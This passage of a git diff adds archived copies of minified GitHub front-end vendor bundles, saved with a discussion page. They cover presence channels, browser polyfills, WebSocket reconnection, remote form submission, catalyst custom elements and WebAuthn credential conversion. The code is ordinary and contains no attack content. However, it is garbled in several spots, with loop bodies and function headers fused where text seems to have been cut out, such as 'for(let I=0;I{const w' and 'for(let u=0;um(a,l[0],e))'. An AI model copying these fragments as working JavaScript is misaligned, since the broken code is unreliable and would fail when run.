strict";E.d(M,{Z:()=>b,a:()=>v});const b="_i";function _(e){return Object.assign(Object.assign({},e),{isLocal:!0})}i(_,"markMetadataAsLocal");class h{constructor(){this.subscriberMetadata=new Map}setMetadata(o,t){this.subscriberMetadata.set(o,t)}removeSubscribers(o){let t=!1;for(const n of o)t=this.subscriberMetadata.delete(n)||t;return t}getMetadata(o){if(!o){const l=[];let u;for(const a of this.subscriberMetadata.values())for(const s of a)if(b in s){const c=Boolean(s[b]);u=u===void 0?c:c&&u}else l.push(s);return u!==void 0&&l.push({[b]:u?1:0}),l}const t=[],{subscriber:n,markAllAsLocal:r}=o;for(const[l,u]of this.subscriberMetadata){const s=r||l===n?u.map(_):u;t.push(...s)}return t}hasSubscribers(){return this.subscriberMetadata.size>0}}i(h,"PresenceMetadataForChannel");class v{constructor(){this.metadataByChannel=new Map}setMetadata({subscriber:o,channelName:t,metadata:n}){let r=this.metadataByChannel.get(t);r||(r=new h,this.metadataByChannel.set(t,r)),r.setMetadata(o,n)}removeSubscribers(o){const t=new Set;for(const[n,r]of this.metadataByChannel)r.removeSubscribers(o)&&t.add(n),r.hasSubscribers()||this.metadataByChannel.delete(n);return t}getChannelMetadata(o,t){const n=this.metadataByChannel.get(o);return(n==null?void 0:n.getMetadata(t))||[]}}i(v,"PresenceMetadataSet")},81855:(N,M,E)=>{"use strict";E.d(M,{A:()=>v,Hw:()=>b,k2:()=>o});function b(t,n){return`${t}:${n}`}i(b,"getPresenceKey");function _(t){const[n,r]=t.p.split(".");return{userId:t.u,presenceKey:b(t.u,n),connectionCount:Number(r),metadata:t.m||[]}}i(_,"decompressItem");const h="presence-";function v(t){return t.startsWith(h)}i(v,"isPresenceChannel");class e{constructor(){this.presenceItems=new Map}shouldUsePresenceItem(n){const r=this.presenceItems.get(n.presenceKey);return!r||r.connectionCount<=n.connectionCount}addPresenceItem(n){!this.shouldUsePresenceItem(n)||this.presenceItems.set(n.presenceKey,n)}removePresenceItem(n){!this.shouldUsePresenceItem(n)||this.presenceItems.delete(n.presenceKey)}replacePresenceItems(n){this.presenceItems.clear();for(const r of n)this.addPresenceItem(r)}getPresenceItems(){return Array.from(this.presenceItems.values())}}i(e,"PresenceChannel");class o{constructor(){this.presenceChannels=new Map}getPresenceChannel(n){const r=this.presenceChannels.get(n)||new e;return this.presenceChannels.set(n,r),r}handleMessage(n,r){const l=this.getPresenceChannel(n);switch(r.e){case"pf":l.replacePresenceItems(r.d.map(_));break;case"pa":l.addPresenceItem(_(r.d));break;case"pr":l.removePresenceItem(_(r.d));break}return this.getChannelItems(n)}getChannelItems(n){return this.getPresenceChannel(n).getPresenceItems()}clearChannel(n){this.presenceChannels.delete(n)}}i(o,"AlivePresence")},75658:(N,M,E)=>{"use strict";E.d(M,{v:()=>_});var b=E(61268);class _{constructor(){this.subscriptions=new b.Z,this.signatures=new Map}add(...v){const e=[];for(const{subscriber:o,topic:t}of v)this.subscriptions.has(t.name)||(e.push(t),this.signatures.set(t.name,t)),this.subscriptions.set(t.name,o);return e}delete(...v){const e=[];for(const{subscriber:o,topic:t}of v)this.subscriptions.delete(t.name,o)&&!this.subscriptions.has(t.name)&&(e.push(t),this.signatures.delete(t.name));return e}drain(...v){const e=[];for(const o of v)for(const t of this.subscriptions.drain(o)){const n=this.signatures.get(t);this.signatures.delete(t),e.push(n)}return e}topics(){return this.signatures.values()}topic(v){return this.signatures.get(v)||null}subscribers(v){return this.subscriptions.get(v).values()}}i(_,"SubscriptionSet")},72993:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b});class b{constructor(h,v){this.name=h,this.signed=v,this.offset=""}static parse(h){const[v,e]=h.split("--");if(!v||!e)return null;const o=JSON.parse(atob(v));return!o.c||!o.t?null:new b(o.c,h)}}i(b,"Topic")},50232:(N,M,E)=>{"use strict";E.d(M,{nn:()=>ue,Gb:()=>ae});function b(L){const j=new AbortController;return j.abort(L),j.signal}i(b,"abortsignal_abort_abortSignalAbort");function _(){return"abort"in AbortSignal&&typeof AbortSignal.abort=="function"}i(_,"isSupported");function h(){return AbortSignal.abort===b}i(h,"isPolyfilled");function v(){_()||(AbortSignal.abort=b)}i(v,"apply");function e(L){const j=new AbortController;return setTimeout(()=>j.abort(new DOMException("TimeoutError")),L),j.signal}i(e,"abortsignal_timeout_abortSignalTimeout");function o(){return"abort"in AbortSignal&&typeof AbortSignal.timeout=="function"}i(o,"abortsignal_timeout_isSupported");function t(){return AbortSignal.timeout===e}i(t,"abortsignal_timeout_isPolyfilled");function n(){o()||(AbortSignal.timeout=e)}i(n,"abortsignal_timeout_apply");class r extends Error{constructor(j,W,K={}){super(W);Object.defineProperty(this,"errors",{value:Array.from(j),configurable:!0,writable:!0}),K.cause&&Object.defineProperty(this,"cause",{value:K.cause,configurable:!0,writable:!0})}}i(r,"AggregateError");function l(){return typeof globalThis.AggregateError=="function"}i(l,"aggregateerror_isSupported");function u(){return globalThis.AggregateError===r}i(u,"aggregateerror_isPolyfilled");function a(){l()||(globalThis.AggregateError=r)}i(a,"aggregateerror_apply");const s=Reflect.getPrototypeOf(Int8Array)||{};function c(L){const j=this.length;return L=Math.trunc(L)||0,L<0&&(L+=j),L<0||L>=j?void 0:this[L]}i(c,"arrayLikeAt");function m(){return"at"in Array.prototype&&typeof Array.prototype.at=="function"&&"at"in String.prototype&&typeof String.prototype.at=="function"&&"at"in s&&typeof s.at=="function"}i(m,"arraylike_at_isSupported");function d(){return Array.prototype.at===c&&String.prototype.at===c&&s.at===c}i(d,"arraylike_at_isPolyfilled");function p(){if(!m()){const L={value:c,writable:!0,configurable:!0};Object.defineProperty(Array.prototype,"at",L),Object.defineProperty(String.prototype,"at",L),Object.defineProperty(s,"at",L)}}i(p,"arraylike_at_apply");function g(){const L=new Uint32Array(4);crypto.getRandomValues(L);let j=-1;return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(W){j++;const K=L[j>>3]>>j%8*4&15;return(W==="x"?K:K&3|8).toString(16)})}i(g,"randomUUID");function w(){return typeof crypto=="object"&&"randomUUID"in crypto&&typeof crypto.randomUUID=="function"}i(w,"crypto_randomuuid_isSupported");function x(){return w()&&crypto.randomUUID===g}i(x,"crypto_randomuuid_isPolyfilled");function I(){w()||(crypto.randomUUID=g)}i(I,"crypto_randomuuid_apply");const $=EventTarget.prototype.addEventListener;function z(L,j,W){if(typeof W=="object"&&"signal"in W&&W.signal instanceof AbortSignal){if(W.signal.aborted)return;$.call(W.signal,"abort",()=>{this.removeEventListener(L,j,W)})}return $.call(this,L,j,W)}i(z,"addEventListenerWithAbortSignal");function X(){let L=!1;const j=i(()=>L=!0,"setSignalSupported");function W(){}i(W,"noop");const K=Object.create({},{signal:{get:j}});try{const V=new EventTarget;return V.addEventListener("test",W,K),V.removeEventListener("test",W,K),L}catch{return L}}i(X,"event_abortsignal_isSupported");function ee(){return EventTarget.prototype.addEventListener===z}i(ee,"event_abortsignal_isPolyfilled");function te(){typeof AbortSignal=="function"&&!X()&&(EventTarget.prototype.addEventListener=z)}i(te,"event_abortsignal_apply");const ne=Object.prototype.hasOwnProperty;function P(L,j){if(L==null)throw new TypeError("Cannot convert undefined or null to object");return ne.call(Object(L),j)}i(P,"object_hasown_objectHasOwn");function T(){return"hasOwn"in Object&&typeof Object.hasOwn=="function"}i(T,"object_hasown_isSupported");function A(){return Object.hasOwn===P}i(A,"object_hasown_isPolyfilled");function R(){T()||Object.defineProperty(Object,"hasOwn",{value:P,configurable:!0,writable:!0})}i(R,"object_hasown_apply");function S(L){return new Promise((j,W)=>{let K=!1;const V=Array.from(L),oe=[];function f(k){K||(K=!0,j(k))}i(f,"resolveOne");function y(k){oe.push(k),oe.length===V.length&&W(new globalThis.AggregateError(oe,"All Promises rejected"))}i(y,"rejectIfDone");for(const k of V)Promise.resolve(k).then(f,y)})}i(S,"promise_any_promiseAny");function F(){return"any"in Promise&&typeof Promise.any=="function"}i(F,"promise_any_isSupported");function D(){return Promise.all===S}i(D,"promise_any_isPolyfilled");function U(){F()||(Promise.any=S)}i(U,"promise_any_apply");const H=50;function B(L,j={}){const W=Date.now(),K=j.timeout||0,V=Object.defineProperty({didTimeout:!1,timeRemaining(){return Math.max(0,H-(Date.now()-W))}},"didTimeout",{get(){return Date.now()-W>K}});return window.setTimeout(()=>{L(V)})}i(B,"requestidlecallback_requestIdleCallback");function re(L){clearTimeout(L)}i(re,"cancelIdleCallback");function G(){return typeof globalThis.requestIdleCallback=="function"}i(G,"requestidlecallback_isSupported");function ce(){return globalThis.requestIdleCallback===B&&globalThis.cancelIdleCallback===re}i(ce,"requestidlecallback_isPolyfilled");function ie(){G()||(globalThis.requestIdleCallback=B,globalThis.cancelIdleCallback=re)}i(ie,"requestidlecallback_apply");const le=typeof Blob=="function"&&typeof PerformanceObserver=="function"&&typeof Intl=="object"&&typeof MutationObserver=="function"&&typeof URLSearchParams=="function"&&typeof WebSocket=="function"&&typeof IntersectionObserver=="function"&&typeof queueMicrotask=="function"&&typeof TextEncoder=="function"&&typeof TextDecoder=="function"&&typeof customElements=="object"&&typeof HTMLDetailsElement=="function"&&typeof AbortController=="function"&&typeof AbortSignal=="function"&&"entries"in FormData.prototype&&"toggleAttribute"in Element.prototype&&"replaceChildren"in Element.prototype&&"fromEntries"in Object&&"flatMap"in Array.prototype&&"trimEnd"in String.prototype&&"allSettled"in Promise&&"matchAll"in String.prototype&&"replaceAll"in String.prototype&&!0;function ae(){return le&&_()&&o()&&l()&&m()&&w()&&X()&&T()&&F()&&G()}i(ae,"lib_isSupported");function de(){return abortSignalAbort.isPolyfilled()&&abortSignalTimeout.isPolyfilled()&&aggregateError.isPolyfilled()&&arrayAt.isPolyfilled()&&cryptoRandomUUID.isPolyfilled()&&eventAbortSignal.isPolyfilled()&&objectHasOwn.isPolyfilled()&&promiseAny.isPolyfilled()&&requestIdleCallback.isPolyfilled()}i(de,"lib_isPolyfilled");function ue(){v(),n(),a(),p(),I(),te(),R(),U(),ie()}i(ue,"lib_apply")},58797:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b});function b(_){let h=!1,v=null;_.addEventListener("mousedown",n),_.addEventListener("change",o);function e(u,a,s,c=!1){a instanceof HTMLInputElement&&(a.indeterminate=c,a.checked!==s&&(a.checked=s,setTimeout(()=>{const m=new CustomEvent("change",{bubbles:!0,cancelable:!1,detail:{relatedTarget:u}});a.dispatchEvent(m)})))}i(e,"setChecked");function o(u){const a=u.target;a instanceof Element&&(a.hasAttribute("data-check-all")?t(u):a.hasAttribute("data-check-all-item")&&r(u))}i(o,"onChange");function t(u){if(u instanceof CustomEvent&&u.detail){const{relatedTarget:s}=u.detail;if(s&&s.hasAttribute("data-check-all-item"))return}const a=u.target;if(a instanceof HTMLInputElement){v=null;for(const s of _.querySelectorAll("[data-check-all-item]"))e(a,s,a.checked);a.indeterminate=!1,l()}}i(t,"onCheckAll");function n(u){if(!(u.target instanceof Element))return;(u.target instanceof HTMLLabelElement&&u.target.control||u.target).hasAttribute("data-check-all-item")&&(h=u.shiftKey)}i(n,"onMouseDown");function r(u){if(u instanceof CustomEvent&&u.detail){const{relatedTarget:m}=u.detail;if(m&&(m.hasAttribute("data-check-all")||m.hasAttribute("data-check-all-item")))return}const a=u.target;if(!(a instanceof HTMLInputElement))return;const s=Array.from(_.querySelectorAll("[data-check-all-item]"));if(h&&v){const[m,d]=[s.indexOf(v),s.indexOf(a)].sort();for(const p of s.slice(m,+d+1||9e9))e(a,p,a.checked)}h=!1,v=a;const c=_.querySelector("[data-check-all]");if(c){const m=s.length,d=s.filter(w=>w instanceof HTMLInputElement&&w.checked).length,p=d===m,g=m>d&&d>0;e(a,c,p,g)}l()}i(r,"onCheckAllItem");function l(){const u=_.querySelector("[data-check-all-count]");if(u){const a=_.querySelectorAll("[data-check-all-item]:checked").length;u.textContent=a.toString()}}return i(l,"updateCount"),{unsubscribe:()=>{_.removeEventListener("mousedown",n),_.removeEventListener("change",o)}}}i(b,"subscribe")},15205:(N,M,E)=>{"use strict";E.d(M,{Z:()=>_});function b(...h){return JSON.stringify(h,(v,e)=>typeof e=="object"?e:String(e))}i(b,"defaultHash");function _(h,v={}){const{hash:e=b,cache:o=new Map}=v;return function(...t){const n=e.apply(this,t);if(o.has(n))return o.get(n);let r=h.apply(this,t);return r instanceof Promise&&(r=r.catch(l=>{throw o.delete(n),l})),o.set(n,r),r}}i(_,"memoize")},61268:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b});class b{constructor(h){if(this.map=new Map,h)for(const[v,e]of h)this.set(v,e)}get(h){const v=this.map.get(h);return v||new Set}set(h,v){let e=this.map.get(h);return e||(e=new Set,this.map.set(h,e)),e.add(v),this}has(h){return this.map.has(h)}delete(h,v){const e=this.map.get(h);if(!e)return!1;if(!v)return this.map.delete(h);const o=e.delete(v);return e.size||this.map.delete(h),o}drain(h){const v=[];for(const e of this.keys())this.delete(e,h)&&!this.has(e)&&v.push(e);return v}keys(){return this.map.keys()}values(){return this.map.values()}entries(){return this.map.entries()}[Symbol.iterator](){return this.entries()}clear(){this.map.clear()}get size(){return this.map.size}}i(b,"MultiMap")},16544:(N,M,E)=>{"use strict";E.d(M,{Oo:()=>l});async function b(d,p){let g;const w=new Promise((x,I)=>{g=self.setTimeout(()=>I(new Error("timeout")),d)});if(!p)return w;try{await Promise.race([w,v(p)])}catch(x){throw self.clearTimeout(g),x}}i(b,"timeout");async function _(d,p){let g;const w=new Promise(x=>{g=self.setTimeout(x,d)});if(!p)return w;try{await Promise.race([w,v(p)])}catch(x){throw self.clearTimeout(g),x}}i(_,"wait");async function h(d,p,g=1/0,w){const x=w?v(w):null;for(let I=0;I{const w=new Error("aborted");w.name="AbortError",d.aborted?g(w):d.addEventListener("abort",()=>g(w))})}i(v,"whenAborted");function e(d){return Math.floor(Math.random()*Math.floor(d))}i(e,"rand");async function o(d,p,g){const w=new WebSocket(d),x=r(w);try{return await Promise.race([x,b(p,g)]),w}catch(I){throw t(x),I}}i(o,"connect");async function t(d){try{(await d).close()}catch{}}i(t,"shutdown");function n(d,p){return h(i(()=>o(d,p.timeout,p.signal),"fn"),p.attempts,p.maxDelay,p.signal)}i(n,"connectWithRetry");function r(d){return new Promise((p,g)=>{d.readyState===WebSocket.OPEN?p(d):(d.onerror=()=>{d.onerror=null,d.onopen=null,g(new Error("connect failed"))},d.onopen=()=>{d.onerror=null,d.onopen=null,p(d)})})}i(r,"whenOpen");class l{constructor(p,g,w){this.socket=null,this.opening=null,this.url=p,this.delegate=g,this.policy=w}async open(){if(this.opening||this.socket)return;this.opening=new AbortController;const p=Object.assign(Object.assign({},this.policy),{signal:this.opening.signal});try{this.socket=await n(this.url,p)}catch{this.delegate.socketDidFinish(this);return}finally{this.opening=null}this.socket.onclose=g=>{this.socket=null,this.delegate.socketDidClose(this,g.code,g.reason),(this.delegate.socketShouldRetry?!this.delegate.socketShouldRetry(this,g.code):a(g.code))?this.delegate.socketDidFinish(this):setTimeout(()=>this.open(),u(100,100+(this.delegate.reconnectWindow||50)))},this.socket.onmessage=g=>{this.delegate.socketDidReceiveMessage(this,g.data)},this.delegate.socketDidOpen(this)}close(p,g){this.opening?(this.opening.abort(),this.opening=null):this.socket&&(this.socket.onclose=null,this.socket.close(p,g),this.socket=null,this.delegate.socketDidClose(this,p,g),this.delegate.socketDidFinish(this))}send(p){this.socket&&this.socket.send(p)}isOpen(){return!!this.socket}}i(l,"StableSocket");function u(d,p){return Math.random()*(p-d)+d}i(u,"rand$1");function a(d){return d===s||d===c}i(a,"isFatal");const s=1008,c=1011;class m{constructor(p){this.buf=[],this.socket=p,this.delegate=p.delegate,p.delegate=this}open(){return this.socket.open()}close(p,g){this.socket.close(p,g)}send(p){this.socket.isOpen()?(this.flush(),this.socket.send(p)):this.buf.push(p)}isOpen(){return this.socket.isOpen()}flush(){for(const p of this.buf)this.socket.send(p);this.buf.length=0}socketDidOpen(p){this.flush(),this.delegate.socketDidOpen(p)}socketDidClose(p,g,w){this.delegate.socketDidClose(p,g,w)}socketDidFinish(p){this.delegate.socketDidFinish(p)}socketDidReceiveMessage(p,g){this.delegate.socketDidReceiveMessage(p,g)}socketShouldRetry(p,g){return this.delegate.socketShouldRetry?this.delegate.socketShouldRetry(p,g):!a(g)}}i(m,"BufferedSocket")},89900:(N,M,E)=>{"use strict";E.d(M,{Z:()=>v});const b=["direction","boxSizing","width","height","overflowX","overflowY","borderTopWidth","borderRightWidth","borderBottomWidth","borderLeftWidth","borderStyle","paddingTop","paddingRight","paddingBottom","paddingLeft","fontStyle","fontVariant","fontWeight","fontStretch","fontSize","fontSizeAdjust","lineHeight","fontFamily","textAlign","textTransform","textIndent","textDecoration","letterSpacing","wordSpacing","tabSize","MozTabSize"],h=typeof window!="undefined"&&window.mozInnerScreenX!=null;function v(e,o,t){const n=t&&t.debug||!1;if(n){const m=document.querySelector("#input-textarea-caret-position-mirror-div");m&&m.parentNode.removeChild(m)}const r=document.createElement("div");r.id="input-textarea-caret-position-mirror-div",document.body.appendChild(r);const l=r.style,u=window.getComputedStyle?window.getComputedStyle(e):e.currentStyle,a=e.nodeName==="INPUT";l.whiteSpace="pre-wrap",a||(l.wordWrap="break-word"),l.position="absolute",n||(l.visibility="hidden");for(const m of b)if(a&&m==="lineHeight")if(u.boxSizing==="border-box"){const d=parseInt(u.height),p=parseInt(u.paddingTop)+parseInt(u.paddingBottom)+parseInt(u.borderTopWidth)+parseInt(u.borderBottomWidth),g=p+parseInt(u.lineHeight);d>g?l.lineHeight=`${d-p}px`:d===g?l.lineHeight=u.lineHeight:l.lineHeight=0}else l.lineHeight=u.height;else if(!a&&m==="width"&&u.boxSizing==="border-box"){let d=parseFloat(u.borderLeftWidth)+parseFloat(u.borderRightWidth),p=h?parseFloat(u[m])-d:e.clientWidth+d;l[m]=`${p}px`}else l[m]=u[m];h?e.scrollHeight>parseInt(u.height)&&(l.overflowY="scroll"):l.overflow="hidden",r.textContent=e.value.substring(0,o),a&&(r.textContent=r.textContent.replace(/\s/g,"\xA0"));const s=document.createElement("span");s.textContent=e.value.substring(o)||".",r.appendChild(s);const c={top:s.offsetTop+parseInt(u.borderTopWidth),left:s.offsetLeft+parseInt(u.borderLeftWidth),height:parseInt(u.lineHeight)};return n?s.style.backgroundColor="#aaa":document.body.removeChild(r),c}i(v,"getCaretCoordinates")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-df2537-40f081c90ea1.js.map \ No newline at end of file diff --git a/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js new file mode 100644 index 0000000..7337406 --- /dev/null +++ b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var j=Object.defineProperty;var n=(M,C)=>j(M,"name",{value:C,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_catalyst_lib_index_-87b1b3"],{65935:(M,C,$)=>{$.d(C,{AC:()=>T,rK:()=>S,uT:()=>f});function _(s,r){const c=s.createElement("template");return c.innerHTML=r,s.importNode(c.content,!0)}n(_,"parseHTML");function x(s){const r=new URLSearchParams,c=new FormData(s).entries();for(const[b,h]of[...c])r.append(b,h.toString());return r.toString()}n(x,"serialize");class i extends Error{constructor(r,c){super(r);this.response=c}}n(i,"ErrorWithResponse");function g(){let s,r;return[new Promise(function(b,h){s=b,r=h}),s,r]}n(g,"makeDeferred");let m;const v=[],d=[];function f(s){v.push(s)}n(f,"afterRemote");function S(s){d.push(s)}n(S,"beforeRemote");function T(s,r){m||(m=new Map,document.addEventListener("submit",O));const c=m.get(s)||[];m.set(s,[...c,r])}n(T,"remoteForm");function q(s,r){if(m){const c=m.get(s)||[];m.set(s,c.filter(b=>b!==r))}}n(q,"remoteUninstall");function N(s){const r=[];for(const c of m.keys())if(s.matches(c)){const b=m.get(c)||[];r.push(...b)}return r}n(N,"getMatches");function O(s){if(!(s.target instanceof HTMLFormElement)||s.defaultPrevented)return;const r=s.target,c=N(r);if(c.length===0)return;const b=P(r),[h,A,E]=g();s.preventDefault(),L(c,r,b,h).then(async a=>{if(a){for(const l of d)await l(r);R(b).then(A,E).catch(()=>{}).then(()=>{for(const l of v)l(r)})}else r.submit()},a=>{r.submit(),setTimeout(()=>{throw a})})}n(O,"handleSubmit");async function L(s,r,c,b){let h=!1;for(const A of s){const[E,a]=g(),l=n(()=>(h=!0,a(),b),"kick"),w={text:l,json:()=>(c.headers.set("Accept","application/json"),l()),html:()=>(c.headers.set("Accept","text/html"),l())};await Promise.race([E,A(r,w,c)])}return h}n(L,"processHandlers");function P(s){const r={method:s.method||"GET",url:s.action,headers:new Headers({"X-Requested-With":"XMLHttpRequest"}),body:null};if(r.method.toUpperCase()==="GET"){const c=x(s);c&&(r.url+=(~r.url.indexOf("?")?"&":"?")+c)}else r.body=new FormData(s);return r}n(P,"buildRequest");async function R(s){const r=await window.fetch(s.url,{method:s.method,body:s.body!==null?s.body:void 0,headers:s.headers,credentials:"same-origin"}),c={url:r.url,status:r.status,statusText:r.statusText,headers:r.headers,text:"",get json(){const h=this,A=JSON.parse(h.text);return delete h.json,h.json=A,h.json},get html(){const h=this;return delete h.html,h.html=_(document,h.text),h.html}},b=await r.text();if(c.text=b,r.ok)return c;throw new i("request failed",c)}n(R,"remoteSubmit")},90420:(M,C,$)=>{$.d(C,{Lj:()=>s,Ih:()=>w,fA:()=>N,GO:()=>O});const _=new WeakSet;function x(e){_.add(e),e.shadowRoot&&i(e.shadowRoot),v(e),m(e.ownerDocument)}n(x,"bind");function i(e){v(e),m(e)}n(i,"bindShadow");const g=new WeakMap;function m(e=document){if(g.has(e))return g.get(e);let t=!1;const o=new MutationObserver(p=>{for(const y of p)if(y.type==="attributes"&&y.target instanceof Element)S(y.target);else if(y.type==="childList"&&y.addedNodes.length)for(const k of y.addedNodes)k instanceof Element&&v(k)});o.observe(e,{childList:!0,subtree:!0,attributeFilter:["data-action"]});const u={get closed(){return t},unsubscribe(){t=!0,g.delete(e),o.disconnect()}};return g.set(e,u),u}n(m,"listenForBind");function v(e){for(const t of e.querySelectorAll("[data-action]"))S(t);e instanceof Element&&e.hasAttribute("data-action")&&S(e)}n(v,"bindElements");function d(e){const t=e.currentTarget;for(const o of f(t))if(e.type===o.type){const u=t.closest(o.tag);_.has(u)&&typeof u[o.method]=="function"&&u[o.method](e);const p=t.getRootNode();if(p instanceof ShadowRoot&&_.has(p.host)&&p.host.matches(o.tag)){const y=p.host;typeof y[o.method]=="function"&&y[o.method](e)}}}n(d,"handleEvent");function*f(e){for(const t of(e.getAttribute("data-action")||"").trim().split(/\s+/)){const o=t.lastIndexOf(":"),u=Math.max(0,t.lastIndexOf("#"))||t.length;yield{type:t.slice(0,o),tag:t.slice(o+1,u),method:t.slice(u+1)||"handleEvent"}}}n(f,"bindings");function S(e){for(const t of f(e))e.addEventListener(t.type,d)}n(S,"bindActions");function T(e,t){const o=e.tagName.toLowerCase();if(e.shadowRoot){for(const u of e.shadowRoot.querySelectorAll(`[data-target~="${o}.${t}"]`))if(!u.closest(o))return u}for(const u of e.querySelectorAll(`[data-target~="${o}.${t}"]`))if(u.closest(o)===e)return u}n(T,"findTarget");function q(e,t){const o=e.tagName.toLowerCase(),u=[];if(e.shadowRoot)for(const p of e.shadowRoot.querySelectorAll(`[data-targets~="${o}.${t}"]`))p.closest(o)||u.push(p);for(const p of e.querySelectorAll(`[data-targets~="${o}.${t}"]`))p.closest(o)===e&&u.push(p);return u}n(q,"findTargets");function N(e,t){return Object.defineProperty(e,t,{configurable:!0,get(){return T(this,t)}})}n(N,"target");function O(e,t){return Object.defineProperty(e,t,{configurable:!0,get(){return q(this,t)}})}n(O,"targets");function L(e){const t=e.name.replace(/([A-Z]($|[a-z]))/g,"-$1").replace(/(^-|-Element$)/g,"").toLowerCase();window.customElements.get(t)||(window[e.name]=e,window.customElements.define(t,e))}n(L,"register");function P(e){for(const t of e.querySelectorAll("template[data-shadowroot]"))t.parentElement===e&&e.attachShadow({mode:t.getAttribute("data-shadowroot")==="closed"?"closed":"open"}).append(t.content.cloneNode(!0))}n(P,"autoShadowRoot");const R=new WeakMap;function s(e,t){R.has(e)||R.set(e,[]),R.get(e).push(t)}n(s,"attr");function r(e,t){t||(t=c(Object.getPrototypeOf(e)));for(const o of t){const u=e[o],p=b(o);let y={configurable:!0,get(){return this.getAttribute(p)||""},set(k){this.setAttribute(p,k||"")}};typeof u=="number"?y={configurable:!0,get(){return Number(this.getAttribute(p)||0)},set(k){this.setAttribute(p,k)}}:typeof u=="boolean"&&(y={configurable:!0,get(){return this.hasAttribute(p)},set(k){this.toggleAttribute(p,k)}}),Object.defineProperty(e,o,y),o in e&&!e.hasAttribute(p)&&y.set.call(e,u)}}n(r,"initializeAttrs");function c(e){const t=new Set;let o=e;for(;o&&o!==HTMLElement;){const u=R.get(o)||[];for(const p of u)t.add(p);o=Object.getPrototypeOf(o)}return t}n(c,"getAttrNames");function b(e){return`data-${e.replace(/([A-Z]($|[a-z]))/g,"-$1")}`.replace(/--/g,"-").toLowerCase()}n(b,"attrToAttributeName");function h(e){let t=e.observedAttributes||[];Object.defineProperty(e,"observedAttributes",{configurable:!0,get(){return[...c(e.prototype)].map(b).concat(t)},set(o){t=o}})}n(h,"defineObservedAttributes");const A=new WeakSet;function E(e,t){e.toggleAttribute("data-catalyst",!0),customElements.upgrade(e),A.add(e),P(e),r(e),x(e),t&&t.call(e),e.shadowRoot&&i(e.shadowRoot)}n(E,"initializeInstance");function a(e){h(e),L(e)}n(a,"initializeClass");function l(e){return A.has(e)}n(l,"initialized");function w(e){const t=e.prototype.connectedCallback;e.prototype.connectedCallback=function(){E(this,t)},a(e)}n(w,"controller")},70112:(M,C,$)=>{$.d(C,{U2:()=>A,Ue:()=>c,Zh:()=>E});function _(a){const l="==".slice(0,(4-a.length%4)%4),w=a.replace(/-/g,"+").replace(/_/g,"/")+l,e=atob(w),t=new ArrayBuffer(e.length),o=new Uint8Array(t);for(let u=0;um(a,l[0],e));if(l instanceof Object){const e={};for(const[t,o]of Object.entries(l)){if(o.derive){const u=o.derive(w);u!==void 0&&(w[t]=u)}if(!(t in w)){if(o.required)throw new Error(`Missing key: ${t}`);continue}if(w[t]==null){e[t]=null;continue}e[t]=m(a,o.schema,w[t])}return e}}n(m,"convert");function v(a,l){return{required:!0,schema:a,derive:l}}n(v,"derived");function d(a){return{required:!0,schema:a}}n(d,"required");function f(a){return{required:!1,schema:a}}n(f,"optional");var S={type:d(i),id:d(g),transports:f(i)},T={appid:f(i),appidExclude:f(i),credProps:f(i)},q={appid:f(i),appidExclude:f(i),credProps:f(i)},N={publicKey:d({rp:d(i),user:d({id:d(g),name:d(i),displayName:d(i)}),challenge:d(g),pubKeyCredParams:d(i),timeout:f(i),excludeCredentials:f([S]),authenticatorSelection:f(i),attestation:f(i),extensions:f(T)}),signal:f(i)},O={type:d(i),id:d(i),rawId:d(g),response:d({clientDataJSON:d(g),attestationObject:d(g),transports:v(i,a=>{var l;return((l=a.getTransports)==null?void 0:l.call(a))||[]})}),clientExtensionResults:v(q,a=>a.getClientExtensionResults())},L={mediation:f(i),publicKey:d({challenge:d(g),timeout:f(i),rpId:f(i),allowCredentials:f([S]),userVerification:f(i),extensions:f(T)}),signal:f(i)},P={type:d(i),id:d(i),rawId:d(g),response:d({clientDataJSON:d(g),authenticatorData:d(g),signature:d(g),userHandle:d(g)}),clientExtensionResults:v(q,a=>a.getClientExtensionResults())},R={credentialCreationOptions:N,publicKeyCredentialWithAttestation:O,credentialRequestOptions:L,publicKeyCredentialWithAssertion:P};function s(a){return m(_,N,a)}n(s,"createRequestFromJSON");function r(a){return m(x,O,a)}n(r,"createResponseToJSON");async function c(a){const l=await navigator.credentials.create(s(a));return r(l)}n(c,"create");function b(a){return m(_,L,a)}n(b,"getRequestFromJSON");function h(a){return m(x,P,a)}n(h,"getResponseToJSON");async function A(a){const l=await navigator.credentials.get(b(a));return h(l)}n(A,"get");function E(){return!!(navigator.credentials&&navigator.credentials.create&&navigator.credentials.get&&window.PublicKeyCredential)}n(E,"supported")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_catalyst_lib_index_-87b1b3-74ee89f793c0.js.map \ No newline at end of file diff --git a/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js new file mode 100644 index 0000000..1f9e6eb --- /dev/null +++ b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js @@ -0,0 +1,15 @@ +"use strict";(()=>{var R=Object.defineProperty;var c=(F,T)=>R(F,"name",{value:T,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_remote-form_dist_index_js-node_modules_lit-html_directives_until_-50084b"],{65935:(F,T,E)=>{E.d(T,{AC:()=>b,rK:()=>p,uT:()=>h});function x(o,e){const n=o.createElement("template");return n.innerHTML=e,o.importNode(n.content,!0)}c(x,"parseHTML");function v(o){const 